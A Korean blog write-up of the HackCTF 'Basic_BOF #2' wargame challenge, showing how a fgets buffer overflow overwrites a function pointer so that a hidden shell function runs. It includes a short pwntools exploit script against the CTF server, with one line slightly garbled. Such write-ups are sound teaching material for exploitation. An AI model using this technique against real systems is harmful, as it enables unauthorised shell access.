wargame/HackCTF

[HackCTF] Basic_BOF #2 | write up

$1m0hYa 2019. 8. 29. 22:46

안녕하세요! 이번에는 HackCTF의 Basic_bof #2의 풀이를 해드리겠습니다.

 

이것도 buffer overflow를 이용한 문제라고 하네요?

 

이것도 마찬가지로 file과 checksec을 이용해 분석해보겠습니다.

 

보시면, Basic_bof #1 이랑 비슷하게 32비트에다, 리눅스기반 그리고 스트립되어있지 않아요

 

그리고 NX가 걸려있어 셸코드를 사용하지 못해요.

 

그럼 ida로 한번 분석해볼까요?

이렇게 v5에 sup이라는 함수의 주소를 넣고,

 

fgets를 이용해 s에 입력받고,

 

v5안에 저장된 sup 함수를 실행하게 되네요!

 

흠… 그럼 이걸 어쩌지..?

 

하던 찰나에 왼쪽을 보았더니 수상한 이름의 함수가 떡하니 보였습니다.

오호라.. shell이라고???

 

저는 호기심을 참지 못하고 한번 확인해 봤습니다!

자.

끝났습니다.

 

shell 함수의 주소 : 0x804849b

 

그러면?? fgets가 있던 함수에서 s변수는 아무값으로 채우고

 

v5변수에 shell함수 주소를 덮어씌우면?

 

sup 함수가 아니라 shell함수가 실행되겠죠?

 

그래서 저는 코드를 이렇게 짰습니다

 

 

1
2
3
4
5
6
7
8
9
from pwn import *
= remote(‘ctf.j0n9hyun.xyz’, 3001)
 
shell = 0x804849B
pay = ‘a’ * (0x7c+4)
pay += p32(shell)
p.sendline(pay)
 
p.interactive()
cs

 

 

자 그러엄 바로 실행 시켜 볼게요!

와우!

완벽하게 CLEAR!!

'wargame > HackCTF' 카테고리의 다른 글

[HackCTF] Unexploitable #1 | write up  (2) 2019.09.01
[HackCTF] Basic_FSB | write up  (7) 2019.09.01
[HackCTF] ROP | write up  (0) 2019.08.29
[HackCTF] 내 버퍼가 흘러넘친다!! | write up  (2) 2019.08.29
[HackCTF] Basic_BOF #1 | write up  (0) 2019.08.29